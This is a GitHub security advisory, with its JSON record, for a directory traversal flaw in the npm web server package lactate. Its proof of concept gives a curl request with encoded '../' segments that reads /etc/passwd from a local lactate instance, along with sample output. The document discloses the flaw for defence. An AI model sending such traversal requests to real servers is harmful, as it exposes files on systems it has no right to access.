GHSA-68GR-CMCP-G3MJ
Vulnerability from github – Published: 2019-06-14 16:39 – Updated: 2021-08-16 23:34A crafted GET request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.
Mitigating factors:
Only files that the user running lactate has permission to read will be accessible via this vulnerability.
Proof of concept:
Please globally install the lactate package and cd to a directory you wish to serve assets from. Next, run lactate -p 8081 to start serving files from this location.
The following cURL request can be used to demonstrate this vulnerability by requesting the target /etc/passwd file:
curl "http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
Recommendation
As there is currently no fix for this issue selecting an alternative static web server would be the best choice.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "lactate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.13.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2019-06-14T16:39:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.",
"id": "GHSA-68gr-cmcp-g3mj",
"modified": "2021-08-16T23:34:10Z",
"published": "2019-06-14T16:39:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/RetireJS/retire.js/commit/800c8140884eaa5753a49308f560c925fe97b9a5"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/296645"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:lactate:20180123"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/560"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in lactate"
}
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| Author | Source | Type | Date | Other |
|---|
Nomenclature
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Vulnerability timeline
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